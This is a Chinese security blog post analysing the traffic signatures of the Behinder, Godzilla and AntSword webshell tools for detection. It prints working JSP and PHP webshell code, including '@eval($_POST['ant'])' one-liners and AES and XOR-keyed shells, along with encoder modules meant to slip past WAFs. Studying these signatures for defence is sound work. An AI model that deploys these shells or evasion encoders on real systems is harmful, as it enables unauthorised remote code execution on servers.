常用webshell流量特征简单分析

admin 2023年4月26日15:58:34评论153 views字数 18711阅读62分22秒阅读模式

冰蝎

https://xz.aliyun.com/t/2744    #这篇是老版冰蝎jsp文章(2.x)

与文章中冰蝎2.0在建立连接时随机生成AES密钥同时明文交换不同是,冰蝎3.0的AES密钥为连接密码32位md5值的前16位,默认连接密码rebeyond。这样保证了全密文传输。

jsp webshell代码分析

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{
U(ClassLoader c){
super(c);
}
public Class g(byte []b){
return super.defineClass(b,0,b.length);
}
}
%>
<%if (request.getMethod().equals("POST")){
String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}
%>

当JSP页面被HTTP POST请求触发时,会按顺序执行以下代码:

if (request.getMethod().equals("POST")){  // 判断请求方法是否是POST
String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u",k); // 将密钥k放入session中
Cipher c=Cipher.getInstance("AES"); // 获取AES加密算法实例
c.init(2,new SecretKeySpec(k.getBytes(),"AES")); // 使用密钥k构建SecretKeySpec
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext); // 创建新的类对象,检查是否等于pageContext
}

逐行解释:

  1. if (request.getMethod().equals("POST")){:如果该请求的方法为 POST,则执行后面的代码块。

  2. String k="e45e329feb5d925b";:定义加密密钥 k,这里的密钥为连接密码的前16位。

  3. session.putValue("u",k);:将密钥 k 存放到 session 中,key 为 u。(表示将密钥 k 存储到 session 对象中,key 值为 "u"。当客户端下次请求该服务器时,可以从 session 对象中获取对应 key 值存储的密钥 k,进行解密操作)

  4. Cipher c=Cipher.getInstance("AES");:获取 AES 加密算法实例。

  5. c.init(2,new SecretKeySpec(k.getBytes(),"AES"));:使用密钥 k 构建 SecretKeySpec 实例,并使用此实例初始化 Cipher 对象。

  6. new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);:使用 U 类的实例化对象加载并执行使用 AES 加密后 BASE64 编码的请求数据。如果返回的实例对象等于 pageContext 对象,则返回 true,否则返回 false。

最后一行代码详细解释:

  1. 使用 getClassLoader() 获取当前类的装载器。

  2. 实例化 U 类,并执行该类的 g() 方法,将 HTTP 请求中 BASE64 编码的加密数据解密后进行处理。

  3. 对处理后的数据,利用 newInstance() 方法创建该类的对象,并返回该对象的引用。

  4. 判断该对象的引用与 pageContext 是否相等,若相等返回 true,不相等则返回 false。

https://mp.weixin.qq.com/s/EwY8if6ed_hZ3nQBiC3o7A #冰蝎v4.0传输协议详解

冰蝎Payload流转的流程图:

常用webshell流量特征简单分析

  1. 本地对Payload进行加密,然后通过POST请求发送给远程服务端;

  2. 服务端收到Payload密文后,利用解密算法进行解密;

  3. 服务端执行解密后的Payload,并获取执行结果;

  4. 服务端对Payload执行结果进行加密,然后返回给本地客户端;

  5. 客户端收到响应密文后,利用解密算法解密,得到响应内容明文。


特征分析

发送过去的payload形式应当是恶意类的字节码,并且经过加密算法(默认AES)加密之后再base64编码。

冰蝎3和冰蝎4的请求包是一致的,但响应存在区别,冰蝎3的响应包是AES加密后的二进制数据,而冰蝎4的响应包使用默认的加密算法的话,是经过加密算法加密后再base64编码的响应数据包。

冰蝎3存在默认请求头:Content-Type: application/octet-stream(处理字节流)

冰蝎4默认会带一个Referer的请求头

(默认的请求头如user-agent等最好全部都自定义一个)

冰蝎4默认使用的AES加密为ecb模式(即同一个密钥,同一串明文,得到同一串密文),相同请求的请求包并不一致,因为相同请求包的包名和类名都是随机的,但相同请求的响应是一致的。

可以修改成CBC模式

private byte[] Encrypt(byte[] data) throws Exception {
String key = "e45e329feb5d925b";
byte[] iv = "0123456789abcdef".getBytes("utf-8"); // 随机初始化向量
byte[] raw = key.getBytes("utf-8");
javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(raw, "AES");
javax.crypto.Cipher cipher = javax.crypto.Cipher.getInstance("AES/CBC/PKCS5Padding");
javax.crypto.spec.IvParameterSpec ivSpec = new javax.crypto.spec.IvParameterSpec(iv); // 加入向量
cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec, ivSpec); // 指定加密模式、密钥和向量
byte[] encrypted = cipher.doFinal(data);
Class baseCls;
try {
baseCls = Class.forName("java.util.Base64");
Object Encoder = baseCls.getMethod("getEncoder", null).invoke(baseCls, null);
encrypted = (byte[]) Encoder.getClass().getMethod("encode", new Class[] {byte[].class})
.invoke(Encoder, new Object[] {encrypted});
} catch (Throwable error) {
baseCls = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = baseCls.newInstance();
String result = (String) Encoder.getClass().getMethod("encode", new Class[] {byte[].class})
.invoke(Encoder, new Object[] {encrypted});
result = result.replace("n", "").replace("r", "");
encrypted = result.getBytes();
}
return encrypted;
}
private byte[] Decrypt(byte[] data) throws Exception {
String k = "e45e329feb5d925b";
byte[] iv = "0123456789abcdef".getBytes("utf-8");
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES/CBC/PKCS5Padding");
javax.crypto.spec.SecretKeySpec keySpec = new javax.crypto.spec.SecretKeySpec(k.getBytes(), "AES");
javax.crypto.spec.IvParameterSpec ivSpec = new javax.crypto.spec.IvParameterSpec(iv);
c.init(javax.crypto.Cipher.DECRYPT_MODE, keySpec, ivSpec); // 指定解密模式、密钥和向量
byte[] decodebs;
Class baseCls;
try {
baseCls = Class.forName("java.util.Base64");
Object Decoder = baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
decodebs = (byte[]) Decoder.getClass().getMethod("decode", new Class[] {byte[].class})
.invoke(Decoder, new Object[] {data});
} catch (Throwable e) {
baseCls = Class.forName("sun.misc.BASE64Decoder");
Object Decoder = baseCls.newInstance();
decodebs = (byte[]) Decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class})
.invoke(Decoder, new Object[] {new String(data)});

}
return c.doFinal(decodebs);
}

当然这样修改在流量层是没有意义的,这个是固定的iv向量,在 CBC 模式下,加密解密时需要使用同样的 IV,这里我太菜了无法实现iv向量随机,所以使用固定的iv向量和更改默认密钥其实是一个效果。

由于默认使用的是aes128的算法,会导致密文长度恒是16的整数倍,流量设备可能通过这个特征来对冰蝎做流量识别。冰蝎4的aes_with_magic默认有一个魔法尾巴,尾巴长度为秘钥的前两位十六进制对应的数值对16取模的值。可以实现消除这个特征,所以使用magic的加解密,把默认密钥修改掉就OK了。


哥斯拉

https://github.com/BeichenDream/Godzilla

哥斯拉v4.01

jsp webshell代码分析

哥斯拉默认的AES_BASE64的jsp webshell是全unioncode编码的,解码后:

<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
%>

混淆了的代码

首先定义了一个字符串 xc,该字符串被用作 AES 加密算法中的密钥。另外,定义了一个字符串 pass,该字符串在后面的代码中用于获取客户端传来的加密数据。

接下来的代码定义了一个名为 X 的类,它集成了 ClassLoader 类,用于编写和编译 Java 代码。后面的主要代码将使用这个类来处理客户端传来的加密数据。

在代码中,还定义了一个名为 x() 的函数,用于对传入的字节数组进行加密或解密操作。该函数使用 xc 字符串作为密钥,使用 AES 算法(ECB模式)对输入数据进行加密或解密,并返回加密或解密结果的字节数组。

代码中还定义了一个 md5() 函数,该函数接收一个字符串作为参数并将其进行 MD5 散列处理,返回散列值的字符串。

在主要的 JSP 代码中,首先尝试对传入的参数 pass 进行解密操作,并将解密后的结果保存在 session 中的 payload 属性中。如果 payload 已经存在,则从 payload 中获取一个新实例 f,并调用 equals() 函数将加密数据重定向到一个存储在字节数组输出流 arrOut 中。

最后,将 md5 的前 16 个字符写入输出流中,接着将 arrOut 中的数据进行加密操作,并将加密所得的字节数组使用 base64Encode() 函数转换为 Base64 字符串写入输出流中,再将 md5 的后 16 个字符作为输出的最终部分写入输出流中。最终将输出流数据返回给客户端。

哥斯拉中的密码和密钥

密码:和蚁剑、菜刀一样,密码就是POST请求中的参数名称。例如,默认密码为pass,那哥斯拉提交的每个请求都是pass=xxxxxxxx这种形式

密钥:用于对请求数据进行加密,不过加密过程中并非直接使用密钥明文,而是计算密钥的md5值,然后取其md5值的前16位用于加密过程

特征分析

常用webshell流量特征简单分析

存在默认请求头特征需修改(与一般的浏览器请求头有点差异)

请求配置中为单条设置,此处全局设置,修改完点击【修改】按钮(不过好像还是每次都要单独设置,而且配置全局和单独配置需要一致,不然会连不上,也可能是我不会用)

常用webshell流量特征简单分析

使用默认配置进行发包,和冰蝎一样每个新的会话会生成一个新的session

常用webshell流量特征简单分析

请求包的参数值为密码,payload进行加密算法加密,base64后会进行url编码,响应包base64后不会进行url编码。


如果在生成webshell时选择raw则请求和响应体都为AES加密的二进制数据,body就不存在任何特征了

但这个时候就会有一个默认的请求头Content-Type: application/octet-stream(字节流)产生,且默认修改不了。

哥斯拉和冰蝎一样默认使用的是aes128的算法,会导致密文长度恒是16的整数倍,流量设备可能通过这个特征来对哥斯拉做流量识别(分析到这就会发现4.0.1的哥斯拉已经被冰蝎甩远了~dog)


哥斯拉在测试连接和连接时都会发出三个请求。

测试连接时第二个请求和第三个请求是类似的,会返回相同的响应包(加密的ok)

而第一个请求不管是测试连接和直接连接都会返回一个空包,响应一个会话session

测试连接三个请求

常用webshell流量特征简单分析

常用webshell流量特征简单分析

常用webshell流量特征简单分析

直接连接三个请求

常用webshell流量特征简单分析

常用webshell流量特征简单分析

常用webshell流量特征简单分析



蚁剑

v2.1.15

特征分析

https://darkless.cn/2020/05/19/antsword-bypass-waf/

老版本的蚁剑存在蚁剑请求头如:

User-Agent: antSword/v2.1

新版的是使用随机请求头,去掉了这个特征,其他的特征都在请求体里面,但新版的请求头显然都是非常老的,改一下最好。

其他设置

常用webshell流量特征简单分析

编码器

编码器和解码器是不是成对存在的,使用了base64编码器并不是必须使用base64解码器,编码器和解码器除了名字有点类似,在使用时毫无关系(RAS和AES加密方式的编码器和解码器除外)。

蚁剑可以自定义编码器来实现流量的加密

编码器用于蚁剑客户端与 Shell 通信时的加密、编码操作,是蚁剑一大核心功能。

random(随机编码器, 不推荐 已废弃)
通信过程中在当前 Shell 类型支持的编码器中随机选取一种进行通信编码

蚁剑所有shell项目的编码方式均放在 sourcecore 目录下,自己定义的在 antDataencoders目录下。

默认编码器都可以使用普通一句话木马实现,可以任意选择不同的加密和解密方式。

蚁剑的编码器规则
'use strict';

/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// ########## 请在下方编写你自己的代码 ###################
// 以下代码为 PHP Base64 样例

// 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
// 原有的 payload 在 data['_']中
// 取出来之后,转为 base64 编码并放入 randomID key 下
data[randomID] = Buffer.from(data['_']).toString('base64');

// shell 在接收到 payload 后,先处理 pwd 参数下的内容,
data[pwd] = `eval(base64_decode($_POST[${randomID}]));`;

// ########## 请在上方编写你自己的代码 ###################

// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}

要点:

  1. 两个 #### 之前写自己的 js 代码就行了,没有什么限制

  2. return 的 data 是一个 map 类型的,对应着 post 数据部分的内容,会转成key=value&key2=value2 这种形式发送出去。

比如:

框架传入的 pwd 为 ant, 传入的 data 内容如下:

{
"_": "@ini_set("display_errors", "0");@set_time_limit(0);echo "->|";phpinfo();echo "|<-";die();"
}

然后将 data["_"] 的内容转成 base64 编码的内容,放到 data[randomID] 里,再构造 data[pwd]

最后返回的 data 结构如下:

{
"_0x0323638de7aca": "QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7ZWNobyAiLT58IjtwaHBpbmZvKCk7ZWNobyAifDwtIjtkaWUoKTs=",
"ant": "eval(base64_decode($_POST[${randomID}]));"
}

最终调用 HTTP 发送的时候,POST 包数据部分为:

ant=xxxxx&_0x0323638de7aca=yyyyy


default(默认)

通信过程不采编码与加密操作,明文传输(不推荐,特殊字符会被转义导致出错

使用普通的一句话木马即可实现,eg:php

<?php @eval($_POST['ant']);?>

每一个请求体的开头都是一样的,且是明文的(url编码),如下

%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3B%24opdir%3D%40ini_get.........

返回包也是明文传输的,可以在数据包直接看到。

base64

通信时使用 base64 编码对通信数据进行编码操作(不推荐,已被WAF作为特征

/**
* php::base64编码器
* ? 利用php的base64_decode进行编码处理
*/

'use strict';

module.exports = (pwd, data, ext = null) => {
// 生成一个随机变量名
let randomID;
if (ext.opts.otherConf['use-random-variable'] === 1) {
randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);
} else {
randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`;
}
data[randomID] = Buffer
.from(data['_'])
.toString('base64');
data[pwd] = `@eval(@base64_decode($_POST['${randomID}']));`;
delete data['_'];
return data;
}

具体实现的功能是将传入的 pwd 变量和 data 变量,通过 base64 编码后存储到一个随机变量名的 PHP 结构体中,最终返回 PHP 结构体。

在 data['_'] 中,Buffer.from(data['_']).toString('base64') 将data['_']中的代码读取并进行base64编码,
然后下面的 data[pwd] 以参数的形式传递到服务器将data[‘randomID’]中的代码在服务器端解码并执行,所以shell仍旧可以是 <?php eval($_POST['pass']);?>

虽然data[‘randomID’]中的代码都是base64编码了,但是data[pwd] 是作为参数传递的,所以这里在流量中 data[pwd] 仍是明文传输

常用webshell流量特征简单分析

chr

PHP 类型独有,通信时使用 chr 函数对传输的字符串进行处理拼接(推荐)官方推荐我不推荐

/**
* php::chr编码器
* ? 利用php的chr函数进行编码处理
*/

'use strict'

module.exports = (pwd, data, ext = null) => {
// 编码函数
const encode = (php) => {
let ret = [];
let i = 0;
while (i < php.length) {
ret.push(php[i].charCodeAt());
i++;
}
return `@eVAl(cHr(${ret.join(').ChR(')}));`;
}

// 编码并去除多余数据
data[pwd] = encode(data._);
delete data._;

// 返回数据
return data;
}

常用webshell流量特征简单分析

hex

ASPX, CUSTOM 类独有,将通信数据字符转成16进制数据传输(推荐)官方推荐我不推荐

//
// aspx::hex 编码模块
//
// 把除了密码的其他参数都 hex 编码一次
//

'use strict';

module.exports = (pwd, data, ext = null) => {
let randomID;
if (ext.opts.otherConf['use-random-variable'] === 1) {
randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);
} else {
randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`;
}
let hexencoder = "function HexAsciiConvert(hex:String) {var sb:System.Text.StringBuilder = new Sys" +
"tem.Text.StringBuilder();var i;for(i=0; i< hex.Length; i+=2){sb.Append(System.Co" +
"nvert.ToString(System.Convert.ToChar(Int32.Parse(hex.Substring(i,2), System.Glob" +
"alization.NumberStyles.HexNumber))));}return sb.ToString();};";
data[randomID] = Buffer
.from(data['_'])
.toString('hex');
data[pwd] = `${hexencoder};eval(HexAsciiConvert(Request.Item["${randomID}"]),"unsafe");`;
delete data['_'];
return data;
}

这个写法和前面的base64是一样的,就不解释了,实现效果也差不多,只不过base64改成了hex

xxxxdog

自定义编码器示例,ASP 类型独有,需要配合 asp_eval_xxxxdog.asp 服务端使用(推荐)官方推荐我不推荐

//
// asp::xxxx 编码模块
//
// :把eval替换成 xxxx 用于过狗
/*
服务端:

<%Function xxxx(str) eval str End Function%><%D = request("ant")%><%xxxx D%>

密码:ant
*/
'use strict';

module.exports = (pwd, data, ext = null) => {
data[pwd] = data['_'].replace(/eval/ig, 'xxxx');
delete data['_'];
return data;
}

除了在通信中编码处理外,还可对传输数据使用 古典密码、DES、AES 等对称加密算法加密通信数据。详见编码器开发。


AwesomeEncoder

AwesomeEncoder的编码器需要使用特定的脚本

编码器

b64pass
/**
* php::b64pass编码器
* Create at: 2018/10/11 21:40:45
*
* 把所有 POST 参数都进行了 base64 编码
*
* 适用shell:
*
* <?php @eval(base64_decode($_POST['ant']));?>
*
*/

'use strict';

module.exports = (pwd, data) => {
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = new Buffer(data['_']).toString('base64');
data[pwd] = new Buffer(`eval(base64_decode($_POST[${randomID}]));die();`).toString('base64');
delete data['_'];
return data;
}

这个实现了完全的base64编码传输

hex
/**

php::hex for 编码器, 把所有的POST参数都进行了 hex 编码
Create at: 2019/04/10 13:02:54

https://github.com/AntSwordProject/antSword/issues/185

========================================================

<?php
foreach($_POST as $k => $v){$_POST[$k]=pack("H*", $v);}
@eval($_POST['ant']);
?>

========================================================
*/
'use strict';

module.exports = (pwd, data) => {
let ret = {};
for (let _ in data) {
if (_ === '_') { continue };
ret[_] = Buffer.from(data[_]).toString('hex');
}
ret[pwd] = Buffer.from(data['_']).toString('hex');
return ret;
}
AES

蚁剑的AES加解密依赖扩展openssl_encrypt(默认开启),使用session来生成AES的密钥,所以连接之前需要设置cookie

常用webshell流量特征简单分析

/**
* php::aes-128-ecb (zeroPadding)编码器
* Create at: 2019/05/10 01:10:53
* Author: @Medicean
*
-----------------------------------------------
<?php
@session_start();
$pwd='ant';
$key=@substr(str_pad(session_id(),16,'a'),0,16);
@eval(openssl_decrypt(base64_decode($_POST[$pwd]), 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING));
?>

-----------------------------------------------
KEY的长度 aes-x-cbc
16 aes-128-cbc
24 aes-192-cbc
32 aes-256-cbc
*/

'use strict';
const path = require('path');
var CryptoJS = require(path.join(window.antSword.remote.process.env.AS_WORKDIR, 'node_modules/crypto-js'));

function get_cookie(Name, CookieStr="") {
var search = Name + "="
var returnvalue = "";
if (CookieStr.length > 0) {
var sd = CookieStr.indexOf(search);
if (sd!= -1) {
sd += search.length;
var end = CookieStr.indexOf(";", sd);
if (end == -1){
end = CookieStr.length;
}
returnvalue = window.unescape(CookieStr.substring(sd, end));
}
}
return returnvalue;
}

function decryptText(keyStr, text) {
let buff = Buffer.alloc(16, 'a');
buff.write(keyStr,0);
keyStr = buff.toString();
let decodetext = CryptoJS.AES.decrypt(text, CryptoJS.enc.Utf8.parse(keyStr), {
mode: CryptoJS.mode.ECB,
padding: CryptoJS.pad.ZeroPadding
}).toString(CryptoJS.enc.Utf8);
return decodetext;
}

function encryptText(keyStr, text) {
let buff = Buffer.alloc(16, 'a');
buff.write(keyStr,0);
keyStr = buff.toString();
let encodetext = CryptoJS.AES.encrypt(text, CryptoJS.enc.Utf8.parse(keyStr), {
mode: CryptoJS.mode.ECB,
padding: CryptoJS.pad.ZeroPadding,
}).toString();
return encodetext;
}

/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// ########## 请在下方编写你自己的代码 ###################
// 从扩展中获取 shell 配置
let headers = ext.opts.httpConf.headers;
if(!headers.hasOwnProperty('Cookie')) {
window.toastr.error("请先设置 Cookie (大小写敏感), 可通过浏览网站获取Cookie", "错误");
return data;
}
let session_key = "PHPSESSID";
let keyStr = get_cookie(session_key, headers['Cookie']);
if(keyStr.length === 0) {
window.toastr.error("未在 Cookie 中发现PHPSESSID", "错误");
return data;
}
data[pwd] = encryptText(keyStr, data['_']);
// ########## 请在上方编写你自己的代码 ###################
// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}
<?php
@session_start();
$pwd='ant';
$key=@substr(str_pad(session_id(),16,'a'),0,16);
@eval(openssl_decrypt(base64_decode($_POST[$pwd]), 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING));
?>

使用了session和AES-128-ECB加密和解密,以及base64编码和解码。

首先,它使用`@session_start()`函数开启了会话。然后,定义了一个密码$pwd为'ant',以及一个$key,它们都是调用`session_id()`函数加工而成的16位字符串。这里的$key作为AES-128-ECB的密钥。

最后一行代码就是在POST请求中解密用户上传的通过base64编码过的密码,使用AES-128-ECB算法和$key作为密钥对其进行解密。decoded之后的内容是一个经过base64编码的字符串,它将被当作php代码使用。

蚁剑已经实现了AES256编码,那当然就使用256舒服一点,和128差不多,不做介绍

RSA

常用webshell流量特征简单分析

然后直接用就OK

random_cookie

https://xz.aliyun.com/t/6917

'use strict';
//基于随机Cookie的蚁剑动态秘钥编码器
//link:https://yzddmr6.tk/posts/antsword-xor-encoder-2/
//code by yzddmr6
/* 服务端
<?php
@$post=base64_decode($_REQUEST['yzddmr6']);
$key=@$_COOKIE['PHPSESSID'];
for($i=0;$i<strlen($post);$i++){
$post[$i] = $post[$i] ^ $key[$i%26];
}
@eval($post);
?>
*/
module.exports = (pwd, data, ext = {}) => {
let randomID = `x${Math.random().toString(16).substr(2)}`;

function xor(payload) {
let crypto = require('crypto');
let key = crypto.createHash('md5').update(randomID).digest('hex').substr(6);
ext.opts.httpConf.headers['Cookie'] = 'PHPSESSID=' + key;
key = key.split("").map(t => t.charCodeAt(0));
//let payload="phpinfo();";
let cipher = payload.split("").map(t => t.charCodeAt(0));
for (let i = 0; i < cipher.length; i++) {
cipher[i] = cipher[i] ^ key[i % 26]
}
cipher = cipher.map(t => String.fromCharCode(t)).join("")
cipher = Buffer.from(cipher).toString('base64');
//console.log(cipher)
return cipher;
}


data['_'] = Buffer.from(data['_']).toString('base64');
data[pwd] = `eval(base64_decode("${data['_']}"));`;
data[pwd]=xor(data[pwd]);
delete data['_'];

return data;
}

自定义编码器


解码器

默认解码器

base64
/**
* php::base64解码器
*/

'use strict';

module.exports = {
/**
* @returns {string} asenc 将返回数据base64编码
*/
asoutput: () => {
return `function asenc($out){
return @base64_encode($out);
}
`.replace(/ns+/g, '');
},
/**
* 解码 Buffer
* @param {Buffer} buff 要被解码的 Buffer
* @returns {Buffer} 解码后的 Buffer
*/
decode_buff: (buff) => {
return Buffer.from(buff.toString(), 'base64');
}
}

常用webshell流量特征简单分析

可以看到返回的base64前后都有随机的头和尾进行混淆,中间才是base64的内容。

rot13
/**
* php::base64解码器
* ? 利用php的base64_decode进行解码处理
*/

'use strict';
const rot13encode = (s) => {
//use a Regular Expression to Replace only the characters that are a-z or A-Z
return s.replace(/[a-zA-Z]/g, function (c) {
// Get the character code of the current character and add 13 to it If it is
// larger than z's character code then subtract 26 to support wrap around.
return String.fromCharCode((c <= "Z" ?
90 :
122) >= (c = c.charCodeAt(0) + 13) ?
c :
c - 26);
});
};

module.exports = {
asoutput: (tag_s, tag_e) => {
return `function asenc($out){
return str_rot13($out);
}
`.replace(/ns+/g, '');
},
decode_buff: (buff) => {
return Buffer.from(rot13encode(buff.toString()));
}
}

常用webshell流量特征简单分析

和base64一样,只不过中间的换成了rot13编码,可以看到默认的注释都是base64的。

自定义解码器

···下次一定(显然分析的很挫,希望师傅们指点一下)

原文始发于微信公众号(蓝猫Sec):常用webshell流量特征简单分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月26日15:58:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   常用webshell流量特征简单分析https://cn-sec.com/archives/1692769.html

发表评论

匿名网友 填写信息